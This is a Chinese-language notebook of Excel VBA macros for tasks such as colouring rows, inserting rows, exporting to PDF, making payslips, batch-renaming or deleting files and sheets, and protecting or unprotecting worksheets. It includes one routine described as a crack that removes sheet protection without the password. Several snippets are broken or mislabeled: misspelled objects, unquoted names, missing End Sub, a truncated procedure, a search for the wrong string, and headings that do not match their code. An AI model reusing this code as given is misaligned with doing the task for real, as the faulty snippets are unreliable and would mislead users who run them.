      Set rng = Application.Union(Target.EntireColumn, Target.EntireRow)
     rng.Interior.ColorIndex = 24
 End Sub

一次性隔行插入空行

Sub 插入空行()
Dim i&, t
For i = Sheet1.[a1].End(xlDown).Row To 2 Step -1
Sheet1.Rows(i).Resize(1).Insert
'Resize（?）插入几行就输几个

Next
End Sub

一次性隔行填充颜色

Sub 填充偶数行()
Dim i
Cells.Interior.ColorIndex = xlNone '工作表去色
 For i = 1 To 19  '定义变量i表示总共有多少行要填充颜色

    If i Mod 2 = 0 Then   '只填充偶数行的颜色  mod取余数   'If i Mod 2 = 1 Then，只填充奇数行的颜色  mod取余数

        Range(Cells(i, 1), Cells(i, 3)).Interior.Color = RGB(255, 0, 0)   '从第一行开始隔行填充，颜色是红色
    End If
Next
End Sub



Sub 首行填充间隔几行()
Dim i, j
i = 1   '从第一行开始填充
    'i = 2  '从第2行开始,即不管首行
Cells.Interior.ColorIndex = xlNone '工作表去色
Do While Range("A" & i) <> ""
        Range(Cells(i, 1), Cells(i, 3)).Interior.Color = RGB(255, 0, 0)
        '从第1列到第3列，隔行填充，颜色是红色

    i = i + 2 ' 间隔1行
Loop
End Sub


'Excel隔行变色，快来看看吧。 选中所有单元格，选择“条件格式”中的“新建规则”，在弹出的对话框中选择“使用公式确定要设置格式的单元格”。
'输入公式“=MOD (ROW (),2)=0”，点击“格式”，在“图案”中选择相应的填充色，点击“确定”即可完成设置。

一次性给C列自动评价

Sub 评价()
    Dim i As Byte
    For i = 2 To 7
        If Range("B" & i) >= 90 Then
            Range("C" & i) = "优秀"
        ElseIf Range("B" & i) >= 80 Then
            Range("C" & i) = "良好"
        ElseIf Range("B" & i) >= 60 Then
            Range("C" & i) = "及格"
        Else
            Range("C" & i) = "不及格"
        End If
    Next
End Sub

一次性将工作表另存为一个PDF文件

Sub 宏()
将工作表另存为一个PDF文件
    ActiveSheet.ExportAsFixedFormat Type:=xlTypePDF, Filename:= _
        "C:\Users\hp\Desktop\工作簿2.pdf", Quality:=xlQualityStandard, _
        IncludeDocProperties:=True, IgnorePrintAreas:=False, OpenAfterPublish:= _
        False
End Sub


在上面的代码中，我指定了要保存pdf的文件夹位置的地址。

请注意，此代码仅适用于工作表。

一次性将所选单元格的字母大小写改为大写

19.将所选单元格的字母大小写改为大写

虽然Excel有更改文本字母大小写的公式，但它使您可以在另一组单元格中进行更改。

使用此代码可以立即更改所选文本中文本的字母大小写。

Sub 字母大小写改为大写()
Dim Rng As Range
For Each Rng In Selection.Cells
 If Rng.HasFormula = False Then
 Rng.Value = UCase(Rng.Value)
 End If
Next Rng
End Sub

Sub 字母大小写改为小写()
Dim Rng As Range
For Each Rng In Selection.Cells
 If Rng.HasFormula = False Then
 Rng.Value = LCase(Rng.Value)
 End If
Next Rng
End Sub

Sub 首字母大写()
Dim Rng As Range
For Each Rng In Selection.Cells
 If Rng.HasFormula = False Then
d = UCase(Left(Rng.Value, 1))
h = Mid(Rng, 2, Len(Rng.Value) - 1)
 Rng.Value = d & h

 End If
Next Rng
End Sub

一次性将所有的图表调整为同样大小

'将所有的图表调整为同样大小
Sub Resize_Charts()
Dim i As Integer
For i = 1 To ActiveSheet.ChartObjects.Count
With ActiveSheet.ChartObjects(i)
.Width = 300
.Height = 200
End With
Next i
End Sub

一次性将所有公式转换为值

11.将所有公式转换为值

如果工作表包含大量公式，并且要将这些公式转换为值，请使用此代码。

Sub ConvertToValues()
 With ActiveSheet.UsedRange
 .Value = .Value
 End With
End Sub

此代码可以自动将使用公式的值转换为值

一次性显示隐藏的工作表

如果你保护了你所有的工作表，那么你只需要修改一下代码，
就可以取消所有工作表的保护。

Sub UnhideAllWoksheets()
Dim ws As Worksheet
 For Each ws In ActiveWorkbook.Worksheets
 ws.Visible = xlSheetVisible
 Next ws
End Sub

Sub 取消隐藏()
For x = 1 To Sheets.Count
If Sheets(x).Name<>VBA与宏应用
Then SheetI(x).Visible= -1
End If
Next x
End Sub


Sub 隐藏()
For x = 1 To Sheets.Count
If Sheets(x).Name<>VBA与宏应用
Then
Sheet(x).Visible = 0
End If
Next x
End Sub

一次性向下填充

Sub 宏5()
    Range("A1:A145").Select
      Selection.SpecialCells(xlCellTypeBlanks).Select
     Application.CutCopyMode = False
    Selection.FormulaR1C1 = "=R[-1]C"
    Range("C7").Select
End Sub

一次性隐藏除了活动工作表外的所有工作表

Sub UnhideAllWoksheets()
Dim ws As Worksheet
 For Each ws In ActiveWorkbook.Worksheets
 ws.Visible = xlSheetVisible
 Next ws
End Sub

一次性有公式的单元格锁定

12.有公式的单元格锁定

当您有大量的计算并且不想意外的删除或更改时，您可能希望使用把有公式的单元格进行锁定。

下面是将锁定所有具有公式的单元格的代码，而所有其它单元格都未锁定。

Sub LockCellsWithFormulas()
 With ActiveSheet
 .Unprotect
 .Cells.Locked = False
 .Cells.SpecialCells(xlCellTypeFormulas).Locked = True
 .Protect AllowDeletingRows:=True
 End With
End Sub

一次性在VBA代码中删除工作簿中全部代码及类模块、窗体。

VBA过程代码201：在VBA代码中删除工作簿中全部代码及类模块、窗体。

Sub mynz ()

Dim Wb As Workbook

Dim FileName As String

Dim vbc As VBComponent, a As Shape, sh As Worksheet

FileName = ThisWorkbook.Path & "\Book25-1.xlsm"

Set Wb = Workbooks.Open(FileName)

Application.EnableEvents = False

For Each sh In Wb.Sheets

For Each a In sh.Shapes

a.Delete

Next

Next

一次性找出所有何文华并标上颜色

Sub a()
Dim 单元格, 第一个找到符合内容的地址
Set 单元格 = Cells.Find("何文华", lookat:=xlWhole, searchorder:=xlRows)
If Not 单元格 Is Nothing Then
    第一个找到符合内容的地址 = 单元格.Address
End If
Do While Not 单元格 Is Nothing
    单元格.Interior.Color = vbGreen
    Set 单元格 = Cells.Find("删除", after:=单元格)
    If 单元格.Address = 第一个找到符合内容的地址 Then Exit Do
Loop
End Sub

一次性自动调整行高与列宽

Sub 遍历所有工作表并自动调整行高与列宽 ()
    Dim r1 As Range
       For i = 1 To Sheets.Count
        Set r1 = Sheets(i).Range("A1").CurrentRegion
    With r1.Columns.AutoFit
    End With
    With r1.Rows.AutoFit
    End With
    Next
End Sub

'第一种应对的是数据表位于A1并且是连续的区域，为了避免出现问题
'第二种，直接对全表进行自动调整
Sub 宏1()
    Cells.Select
    Cells.EntireColumn.AutoFit
    Cells.EntireRow.AutoFit
End Sub

在工作表中上下翻页

  Sub 顺着翻页()
      Dim i As Integer
      i = Worksheets.Count
      If ActiveSheet.Index < i Then
          Worksheets(ActiveSheet.Index + 1).Activate
      Else
          Worksheets(1).Activate
      End If
  End Sub


  Sub 倒着翻页()
      Dim i As Integer
      i = Worksheets.Count
      If ActiveSheet.Index > 1 Then
          Worksheets(ActiveSheet.Index - 1).Activate
      Else
          Worksheets(i).Activate
      End If
  End Sub

在首列插入1-100

用For Each…Next语句编写一个程序，在A1:A100单元格区域中输入1到100的自然数

Sub 数字()
 Dim a As Range, i As Integer
 i = 1
 For Each a In Range("A1:A100")
 a = i
 i = i + 1
 Next
End Sub


Sub 数字()
Dim 开始时间
开始时间 = Time()
Dim i
 For i = 1 To 60000
 Range("a" & i) = 1
 Next
MsgBox "运行时间" & DateDiff("s", 开始时间, Time()) & "秒"

Sub 配合数组使用()
Dim arr(), i
arr = Range("A1:A1048576")
For i = 1 To 1048576
    arr(i, 1) = i
Next
Range("A1:A1048576") = arr
MsgBox "已经完成"
End Sub

在所选内容中每隔一行后插入一行

14.在所选内容中每隔一行后插入一行

如果要在选定区域中的每一行后插入空行，请使用此代码。

Sub InsertAlternateRows()
Dim rng As Range
Dim CountRow As Integer
Dim i As Integer
Set rng = Selection
CountRow = rng.EntireRow.Count
 For i = 1 To CountRow
 ActiveCell.EntireRow.Insert
 ActiveCell.Offset(2, 0).Select
 Next i
End Sub

自动在相邻单元格中插入日期和时间戳

15.自动在相邻单元格中插入日期和时间戳

当您想要跟踪活动时，可以使用时间戳。

使用此代码在创建条目或编辑现有内容时在相邻单元格中插入日期和时间戳。


Private Sub Worksheet_Change(ByVal Target As Range)
On Error GoTo Handler
 If Target.Column = 1 And Target.Value <> "" Then
 Application.EnableEvents = False
 Target.Offset(0, 1) = Format(Now(), "yyyy-dd-mm hh:mm:ss")
 Application.EnableEvents = True
 End If
Handler:
End Sub


请注意，您需要将此代码插入工作表代码窗口（而不是模块内代码窗口）。因为这是一个事件代码

Excel文件每10秒自动保存

Sub otime()
    '10秒后自动运行WbSave过程
    Application.OnTime Now() + TimeValue("00:00:10"), "WbSave"
End Sub

Sub WbSave()
    ThisWorkbook.Save '保存本工作簿
    Call otime  '再次运行otime过程
End Sub

Private Sub Workbook_Open()
Call otime
End Sub

制作工资条

1.使用快捷键Alt + F8，打开“宏”对话框，

2.选择要设置快捷键的宏名，点击“选项”，

3.在快捷键下面输入想要设置的快捷键

Sub 两步法工资条()
Dim 开始时间
开始时间 = Time()
[a1].Select
Dim i&, t
For i = Sheet1.[a1].End(xlDown).Row To 2 Step -1
Sheet1.Rows(i).Resize(2).Insert  ' 从最大行往第二行倒数 每一行 都 插入两行空行
'Resize(1)插入几行就输几个
Next

最后一行 = Sheets(1).UsedRange.Rows.Count - 1
For i = 3 To 最后一行 Step 3  '从第三行开始每隔三行都把第一行的内容复制并粘贴
Range("A1:G1").Copy Range("a" & i)
Next

[1:2].Delete                  ' 删除多余的两行
MsgBox "运行时间" & DateDiff("s", 开始时间, Time()) & "秒"
End Sub

Sub 循环法制作工资条()
Dim i
[a1].Select
Dim 开始时间
开始时间 = Time()

'MsgBox "点击确定制作工资条"
For i = 2 To Range("a1").CurrentRegion.Rows.Count - 1
    ActiveCell.Offset(2, 0).Rows("1:1").EntireRow.Select
    Selection.Insert Shift:=xlDown, CopyOrigin:=xlFormatFromLeftOrAbove
    Selection.Insert Shift:=xlDown, CopyOrigin:=xlFormatFromLeftOrAbove
    ActiveCell.Offset(-2, 0).Range("A1:G1").Select
    Selection.Copy
    ActiveCell.Offset(3, 0).Range("A1").Select
    ActiveSheet.Paste
    ActiveCell.Select
        Next
    'MsgBox "制作完成了，请查收！"
ActiveSheet.Name = "工资条"
[a1].Select
MsgBox "运行时间" & DateDiff("s", 开始时间, Time()) & "秒"
End Sub

按指定条件批量删除工作簿

Sub GetFiles()
    Dim strPath As String, strFileName As String, k As Long
    With Application.FileDialog(msoFileDialogFolderPicker)
        If .Show Then strPath = .SelectedItems(1) Else: Exit Sub
        '获取用户选择的文件夹的路径，如果未选取，则退出程序
    End With
    If Right(strPath, 1) <> "\" Then strPath = strPath & "\"
    Application.ScreenUpdating = False
    Range("a:b").Clear: k = 1
    '清除A:B列的所有
    Cells(1, 1) = "旧文件名": Cells(1, 2) = "是否删除"
    strFileName = Dir(strPath & "*.xls*")
    Do While strFileName <> ""
        k = k + 1
        Cells(k, 1) = strPath & strFileName
        strFileName = Dir
    Loop
    Application.DisplayAlerts = True
End Sub


Sub DeleteFile()
    Dim r, i As Long
    r = Range("a1").CurrentRegion '数据装入数组
    For i = 2 To UBound(r)
    '标题行不要，从数组第二行开始遍历
        If r(i, 2) = "删除" Then Kill r(i, 1) 'Kill语句删除指定文件
    Next
    MsgBox "完成。"
End Sub

工作表排序

Sub 遍历工作表名提取目录()
    Dim k As Long, sht As Worksheet
    Application.ScreenUpdating = False
    With Columns(1)
        .ClearContents '清空A列原有数据
        .NumberFormat = "@" '设置单元格格式为文本
    End With
    Cells(1, 1) = "目录"
    k = 1
    For Each sht In ThisWorkbook.Worksheets '遍历工作表
        If sht.Name <> ActiveSheet.Name Then '如果sht不等于当前工作表名称
            k = k + 1 '累加工作表个数
            Cells(k, 1) = sht.Name '工作表名称写入A列
        End If
    Next
    Application.ScreenUpdating = True
End Sub

Sub 指定工作表按顺序排放()
    Dim shtActive As Worksheet, i As Long
    Dim arr, strShtName As String
    On Error Resume Next
    Application.ScreenUpdating = False
    Set shtActive = ActiveSheet '当前表赋值变量shtactive
    arr = Range("a1:a" & Cells(Rows.Count, 1).End(xlUp).Row)
    'A列数据装入数组arr
    For i = 2 To UBound(arr) '遍历数组arr
        strShtName = arr(i, 1)
        Worksheets(strShtName).Move after:=Worksheets(i - 1)
        '指定工作表按顺序排放
    Next
    shtActive.Select '回到操作表
    Application.ScreenUpdating = True
End Sub

合并单元格

'通过设置一个按钮，手工选区域后进行合并
Sub 合并单元格保留内容()
    Dim 单元格, 存放字符的变量
    If TypeName(Selection) = "Range" Then
        For Each 单元格 In Selection
            存放字符的变量 = 存放字符的变量 & 单元格.Value '要想内容分开加上分隔符号 & ","
        Next
        '合并时不显示仅保留左上角值的信息
        Application.DisplayAlerts = False
        Selection.Merge
        Selection.Value = 存放字符的变量
        Application.DisplayAlerts = True
    End If
End Sub


Sub 合并内容相同的连续单元格()
    Dim i, 最大使用行数
     '合并时不显示仅保留左上角值的信息
    Excel.Application.DisplayAlerts = False
    最大使用行数 = Range("A1").End(xlDown).Row
    For i = 最大使用行数 To 2 Step -1
        If Range("A" & i).Value = Range("A" & i - 1).Value Then
            Range(Cells(i - 1, 1), Cells(i, 1)).Merge
        End If
    Next
    Excel.Application.DisplayAlerts = True
End Sub


Sub 取消合并单元格保留内容()
    Dim i, 单元格的值, 合并单元格的数量
    For i = 2 To Range("B1").End(xlDown).Row
        单元格的值 = Range("A" & i).Value
        合并单元格的数量 = Range("A" & i).MergeArea.Count
        Range("A" & i).UnMerge '取消合并
        Range("A" & i).Resize(合并单元格的数量, 1).Value = 单元格的值
        '以本题为例，第1次是第2行，第2次是第5行，第3次是第7行
        i = i + 合并单元格的数量 - 1
    Next
End Sub

批量给工作簿重命名（可以转换后缀名）

.txt，jpg，png，.xlsx，docx，.pptx，.psd，.rar

Sub GetFiles()
    Dim strPath As String, strFileName As String, k As Long
    With Application.FileDialog(msoFileDialogFolderPicker)
        If .Show Then strPath = .SelectedItems(1) Else: Exit Sub
        '获取用户选择的文件夹的路径，如果未选取，则退出程序
    End With
    If Right(strPath, 1) <> "\" Then strPath = strPath & "\"
    Application.ScreenUpdating = False
    Range("a:b").Clear: k = 1
    '清除A:B列的所有
    Cells(1, 1) = "旧文件名": Cells(1, 2) = "新文件名"
    strFileName = Dir(strPath & "*.xls*")
    Do While strFileName <> ""
        k = k + 1
        Cells(k, 1) = strPath & strFileName
        strFileName = Dir
    Loop
    Application.DisplayAlerts = True
End Sub

Sub ChangeFileName()
    Dim r, i As Long
    r = Range("a1").CurrentRegion '数据装入数组
    For i = 2 To UBound(r)
    '标题行不要，从数组第二行开始遍历
        Name r(i, 1) As r(i, 2) 'Name语句重命名
    Next
    MsgBox "更名完成。"
End Sub

批量工作表加密解密

Sub ProtectSht()
    Dim strAds As String, sht As Worksheet
    Dim strKey As String, strTemp As String
    Dim rng As Range, strMsg As String
    Dim strNoShtName As String, strYesShtName As String
    On Error Resume Next
    strAds = InputBox("请输入单元格保存范围，例如A1:B10." & vbCr _
                                & "可以设置不连续单元格，中间请以逗号分隔。比如A1:B10,D2:D8" & vbCr _
                                & "如果需要全表保护，可以直接确定。", Default:="全表保护")
    If StrPtr(strAds) = False Then Exit Sub
    If strAds = "全表保护" Then strAds = Cells.Address
    Set rng = Range(strAds) '测试输入的单元格区域是否有效
    If Err Then MsgBox "你输入的单元格区域地址不是正确的格式，请重新操作。": Exit Sub
    strKey = InputBox("请输入保护密码。") '第一次输入密码
    If StrPtr(strKey) = False Then Exit Sub
    strTemp = InputBox("请再次输入保护密码。") '第二次输入密码
    If StrPtr(strKey) = False Then Exit Sub
    If strKey <> strTemp Then MsgBox "你两次输入的密码不一致，系统退出，请重新操作。": Exit Sub
    For Each sht In Worksheets '遍历工作表加密保护
        With sht
            If .ProtectContents = False Then '如果工作表未保护
                .Cells.Locked = False '全部单元格区域取消锁定
                .Range(strAds).Locked = True '需要保护的区域锁定
                .Protect strKey, True, True, True '保护工作表，只允许编辑非锁定区域
                strYesShtName = strYesShtName & "," & .Name '保护成功的工作表名称
            Else
                strNoShtName = strNoShtName & "," & .Name '自身已有保护功能的工作表
            End If
        End With
    Next
    If strYesShtName <> "" Then strMsg = "工作表：" & Mid(strYesShtName, 2) & "的" & strAds & "区域保护完成"
    If strNoShtName <> "" Then strMsg = strMsg & vbCrLf & "以下工作表自身已有保护，无法再次保护：" & Mid(strNoShtName, 2)
    MsgBox (strMsg)
End Sub


Sub UnProtct()
    MsgBox "破解提示：当要求输入密码时请点击取消！”"
    Application.DisplayAlerts = False
    On Error Resume Next
    Dim sht As Worksheet
    For Each sht In Worksheets
        With sht
            .Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, AllowFiltering:=True, AllowUsingPivotTables:=True
            .Protect DrawingObjects:=False, Contents:=True, Scenarios:=False, AllowFiltering:=True, AllowUsingPivotTables:=True
            .Protect DrawingObjects:=True, Contents:=True, Scenarios:=False, AllowFiltering:=True, AllowUsingPivotTables:=True
            .Protect DrawingObjects:=False, Contents:=True, Scenarios:=True, AllowFiltering:=True, AllowUsingPivotTables:=True
            .Unprotect
        End With
    Next
    MsgBox "ok"
End Sub

批量修改工作表的名字

Sub GetShtName()
    Dim sht As Worksheet, i As Long
    i = 1 'i初始值为1
    With Columns(1)
        .ClearContents '清除A列内容
        .NumberFormat = "@" '设置单元格格式为文本
    End With
    Cells(1, 1) = "工作表名称目录"
    For Each sht In Worksheets '遍历工作表
        i = i + 1
        Cells(i, 1) = sht.Name '在A列记录工作表名称
    Next
End Sub

Sub ReNameSht()
    Dim strShtName$, sht As Worksheet, i&
    On Error Resume Next '当程序运行中出现错误时，继续运行
    For i = 2 To Cells(Rows.Count, 1).End(xlup).Row '遍历当前表格A列的数据
        strShtName = Cells(i, 1).Value '将表格A列的值，赋予变量strShtName
        Worksheets(strShtName).Name = Cells(i, 2).Value '工作表重命名
    Next
End Sub

批量修改文件名（不包括文件夹）

Sub shishi()
Set FSO对象 = CreateObject("Scripting.FileSystemObject")
Set 文件夹 = FSO对象.GetFolder("C:\Users\hp\Pictures")
Range("A1").CurrentRegion.Clear
Range("A1") = "原文件名 """
Range("B1") = "新文件名 """
j = 2
For Each i In 文件夹.Files
Range("A" & j) = "'" & FSO对象.GetBaseName(i)
j = j + 1
Next
End Sub

Sub 修改文件名()
Set 字典 = CreateObject("Scripting.Dictionary")
arr = Range("A1").CurrentRegion
For i = 1 To UBound(arr, 1)
字典(arr(i, 1)) = arr(i, 2)
Next
Set FSO对象 = CreateObject("Scripting.FileSystemObject")
Set 文件夹 = FSO对象.GetFolder("C:\Users\hp\Pictures")
For Each i In 文件夹.Files
文件名 = FSO对象.GetBaseName(i)
后缀名 = FSO对象.GetExtensionName(i)
i.Name = 字典(文件名) & "." & 后缀名
Next
End Sub

1.生成带超链接的工作表目录

Sub ml()
    Dim sht As Worksheet, i&, strShtName$
    Columns(1).ClearContents '清空A列数据
    Cells(1, 1) = "目录" '第一个单元格写入标题"目录"
    i = 1  '将i的初值设置为1.
    For Each sht In Worksheets  '循环当前工作簿的每个工作表
        strShtName = sht.Name
        If strShtName <> ActiveSheet.Name Then
       '如果sht的名称不是当前工作表的名称则开始在当前工作表建立超链接
            i = i + 1 '累加工作表数量
           ActiveSheet.Hyperlinks.Add anchor:=Cells(i, 1), Address:="", _
            SubAddress:="'" & strShtName & "'!a1", TextToDisplay:=strShtName
           '建超链接
        End If
    Next
End Sub

2.在各个分表新建【返回总表】的命令按钮

Dim strShtName As String
Sub Mybutton()
    Dim sht As Worksheet, btn As Button
    On Error Resume Next
    For Each sht In Worksheets
        With sht
            If .Name <> strShtName Then
                .Shapes(strShtName).Delete
                '删除原有的名称为shtn的按钮，避免重复创建
                Set btn = .Buttons.Add(0, 0, 60, 30)'使用add方法在工作表中添加一个按钮控件，add方法语法如下:表达式.Add(left,right,width,height)
                '新建按钮，释义见小贴士
                With btn
                    .Name = strShtName
                    '命令按钮命名
                    .Characters.Text = "返回总表"
                    '按钮的文本内容
                    .OnAction = "LinkTable"
                    '指定按钮控件所执行的宏命令
                End With
            End If
        End With
    Next
    Set btn = Nothing
End Sub

Sub LinkTable()
    strShtName = "总表"'指定了返回总表的名字，可以根据实际需要修改为目标表的名称，比如“目录”。
    '设置变量strShtName为总表的名称，可以根据实际总表的名称做修改
    Worksheets(strShtName).Activate
    [a1].Select
End Sub

1.删除指定工作表

Sub 遍历工作表取表名()
    Dim sht As Worksheet, k As Long
    Application.ScreenUpdating = False
    k = 1
    Range("a:b").Clear '清空数据
    Range("a:a").NumberFormat = "@" '设置文本格式
    For Each sht In Worksheets '遍历工作表取表名
        k = k + 1
        Cells(k, 1) = sht.Name
    Next
    Range("a1:b1") = Array("工作表名", "是否删除")
    Application.ScreenUpdating = True
End Sub

Sub 遍历并删除工作表()
    Dim sht As Worksheet, i As Long, r
    Application.ScreenUpdating = False
    Application.DisplayAlerts = False
    On Error Resume Next
    r = Range("a1").CurrentRegion '数据装入数组r
    For i = 2 To UBound(r) '遍历并删除工作表
        If r(i, 2) = "删除" Then Worksheets(CStr(r(i, 1))).Delete
    Next
    Application.ScreenUpdating = True
    Application.DisplayAlerts = True
End Sub

2.删除所有工作表

Sub DelShet() '删除所有工作表
    Dim sht As Worksheet
    Application.ScreenUpdating = False '关屏幕刷新
    Application.DisplayAlerts = False '关警告信息
    On Error Resume Next
    For Each sht In Worksheets
        sht.Delete '遍历工作表删除
    Next
    Application.ScreenUpdating = True
    Application.DisplayAlerts = True
End Sub

3.保留指定工作表，其它删除

Sub 删除工作表()

    Dim j as integer
    Excel.Application.DisplayAlerts = False

    For Each j In Worksheets
        If j.Name <> "汇总" Then
            j.Delete
        End If
    Next
    Excel.Application.DisplayAlerts = True
End Sub

一次性替换标点符号

可以自行选择一次性查找替换的内容，
Sub ReplaceEngChn()
    Selection.Replace What:=" ", Replacement:=""     '去除空格
    Selection.Replace What:=" )", Replacement:="）"  '英文括号替换成中文空号
    Selection.Replace What:="(", Replacement:="（"
    Selection.Replace What:=":", Replacement:="："
    Selection.Replace What:=";", Replacement:="；"
    Selection.Replace What:="[", Replacement:="【"
    Selection.Replace What:="]", Replacement:="】"    
End Sub